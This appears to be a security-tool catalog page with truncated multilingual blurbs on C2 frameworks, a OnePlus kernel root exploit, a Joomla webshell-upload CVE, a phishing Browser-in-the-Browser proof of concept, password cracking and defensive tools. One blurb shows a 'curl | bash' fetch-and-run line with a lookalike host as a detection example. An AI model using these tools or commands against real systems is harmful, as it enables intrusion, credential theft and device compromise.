CVE-2026-94368

A flaw was found in the signature verification logic of noobaa-core, the core component of the NooBaa Multicloud Object Gateway. The issue occurs when the service processes S3 presigned URLs using Signature Version 4 SigV4. Due to improper validation, the service fails to reject requests containi...

C2Bridge

C2Bridgeを使用すると、開発者は新しいカスタム通信プロトコルを作成し、Covenant内ですぐに利用できます。 C2Bridges...

tirith

tirith ブラウザならこれを検知できる。ターミナルではできない。 Website | Docs | SKILL.md | Changelog | Releases 独立したオープンソースプロジェクト。ホスティングは Vercel Open Source Program（Spring 2026 Cohort）の支援を受けています。 違いがわかりますか？ curl -sSL https://install.example-cli.dev | bash safe curl -sSL https://іnstall.example-clі.dev | bash compromised...

snoop

snoop Linux용 시스템 콜 트레이서로, eBPF를 기반으로 합니다. strace와 유사하지만 라이브 TUI, 스마트 필터, 실제로 읽을 수 있는 인수 디코딩을 제공합니다. root@kitploit: $ sudo snoop curl https://example.com 0.001 curl1234/1234 openatATFDCWD, "/etc/ssl/certs/ca-certificates.crt", ORDONLY = 4 0.002 curl1234/1234 read4, 0x7f3a1c000b20, 4096 = 4096 0.00...

dorkbot

dorkbot Scan Google or other search results for vulnerabilities. dorkbot is a modular command-line tool for performing vulnerability scans against sets of webpages returned by Google search queries or other supported sources. It is broken up into two sets of modules: Indexers - modules that retur...

dhcpoptinj

DHCP 옵션 인젝터 DHCP 요청을 가로채서 발신자가 모르게 몇 가지 추가 DHCP 옵션을 끼워 넣고 싶었던 적이 있나요? 아마 없을 겁니다. 하지만 그런 필요가 생긴다면, dhcpoptinj 가 바라건대 도움이 될 것입니다. 왜 DHCP 요청을 변조하는 데는 여러 이유가 있을 수 있지만, 아마도 문제를 해결하기 위해 훨씬 더 나은 방법을 찾아야 할 가능성이 높습니다. DHCP 서버/클라이언트에 접근할 수 없어서 DHCP 옵션을 수정해야 하거나, DHCP 소프트웨어 설정이 어렵거나원하는 작업을 지원하지 않는 경우, 매우...

dhcpoptinj

DHCP option injector Have you ever wanted to intercept DHCP requests and squeeze in a few extra DHCP options, unbeknownst to the sender? Probably not. However, should the need ever come, dhcpoptinj will hopefully help you. Why There can be many a reason to mangle DHCP requests, although chances a...

pack

Password Analysis and Cracking Kit by Peter Kacherginsky iphelix PACK Password Analysis and Cracking Toolkit is a collection of utilities developed to aid in analysis of password lists in order to enhance password cracking through pattern detection of masks, rules, character-sets and other passwo...

fwknop

fwknop - Single Packet Authorization Introduction fwknop implements an authorization scheme known as Single Packet Authorization SPA for strong service concealment. SPA requires only a single packet which is encrypted, non-replayable, and authenticated via an HMAC in order to communicate desired...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE Overview CVE-2026-57827 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in RSFiles! comrsfiles, a widely...

cmdchamp

cmdchamp Bash CLIトレーナー — lsから権限昇格までの30レベル。 すべての問題で実際のコマンドを入力します — 即座にフィードバックが返り、先へ進めます。間違えると、答えが表示されるだけでなく、YOURコマンドの出力と期待された出力の違い、パイプラインの場合は各段階の行数が表示されるため、どこで失敗したかがわかります。テキスト一致の問題では、あなたの回答に最も近い正解と、抜けていた正確なフラグが示されます。遠回りな方法で正解すると、短い方法も表示されます — cat f | grep -c X と入力すると Shorter: grep -c X f...

Octopus

Octopus とは？ Octopus は、オープンソースのプレオペレーション C2 サーバーであり、Python ベースで、HTTP/S を介して Octopus PowerShell エージェントを制御できます。 Octopus の主な目的は、実際のレッドチーム作戦を開始する前に使用することです。フル装備の兵器庫とインフラを投入する代わりに、まず Octopus を使用してターゲットを攻撃し、情報を収集してから実際のレッドチーム作戦を開始できます。 Octopus は非常にシンプルな方法で動作し、完全に暗号化されたチャネルを介してコマンドを実行し、C2...

GhostLock-for-OnePlus

GhostLock — OnePlus ロックされたブートローダーを搭載した OnePlus 端末を対象とするカーネルエクスプロイトです。CVE-2026-43499 を使用して、ブートローダーのロック解除や boot.img の変更なしに root 権限を取得します。 認可されたセキュリティ研究および教育目的のみに使用できます。 目次 脆弱性の概要 対応デバイス 前提条件 ビルド 使用方法 実行モード 技術詳細 ファイル構成 新しいデバイスの追加 FAQ 脆弱性の概要 項目| 詳細 ---|--- CVE| CVE-2026-43499 種別| Futex...

simvyn

simvyn Universal mobile devtool — control iOS Simulators, Android Emulators, and real devices from a single dashboard and CLI Table of Contents Quick Start Installation AI Coding Agents Features Module Showcases Collections Guide CLI Reference How It Works Supported Platforms Contributing Securit...

shadowhammer

バッチモード対応 Shadowhammer MACアドレスチェッカー...

honeyprompt

honeyprompt honeyprompt 소개: LLM 우선의 속임수 프레임워크로, 웹 개발자를 위해/에 의해 만들어졌습니다. @alectrocute의 개인 열정 프로젝트입니다. 모든 주요 클라우드 및 로컬 LLM 제공자를 지원합니다. SSH, HTTP, TLS, TCP, 텔넷 등. 작은 컨테이너단일 정적 바이너리로 제공되며 모든 설정은 하나의 honeyprompt.yaml에 있습니다. 컴파일할 플러그인도, 실행할 데이터베이스도 필요 없으며, 쉽게 확장 가능하고 저사양 하드웨어에 배포할 수 있습니다. 데모 인스턴스 데모...

DFIR-LABS

About DFIR LABS is a compilation of challenges that aims to provide practice in simple to advanced concepts in the following topics: Digital Forensics, Incident Response, Malware Analysis and Threat Hunting. This is aimed at Professionals, Security Researchers, Students, CTF Players as well as DF...

oregami

Oregami """ 이 레지스터는 무엇에 사용되나요? 음.. 그냥 veryuniquename으로 이름을 바꾸고, 텍스트 검색으로 모든 참조를 찾아야겠다! 좋아.. 검색이 끝나길 기다리는 중.. 아직도.. 완료! 이제 검색 결과 중 어떤 것이 현재 레지스터의 사용 프레임과 관련 있는지 이해해야 해. 그렇게 어렵진 않겠지, 그렇죠? """ 이런 일이 어쩌면 여러 번 발생했다면, 당신은 재미있는 것을 만나게 될 것입니다! Shift-X만 누르면 문제가 사라집니다! 사용 프레임 내에서 레지스터의 이름을 다시 지을 수도 있습니다...

frameless-bitb

Frameless BITB A new approach to Browser In The Browser BITB without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft. This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet. Before diving deep...

RootHelper

RootHelper RootHelperは、侵害されたLinuxシステムにおける権限昇格のプロセスを支援します。最新バージョンは合計11のスクリプトで構成されています。列挙からエクスプロイトの提案、エクスプロイトの展開まで。RootHelperは、最適なツールを確実に利用できるようにします。 取得するスクリプトのクレジットは、それぞれの原作者に帰属します。 アップデート 最新のアップデートでは、真新しいヘルパースクリプトが追加されました。詳細は以下をご覧ください。 RootHelperは、コマンドライン引数/フラグをサポートするようになりました。...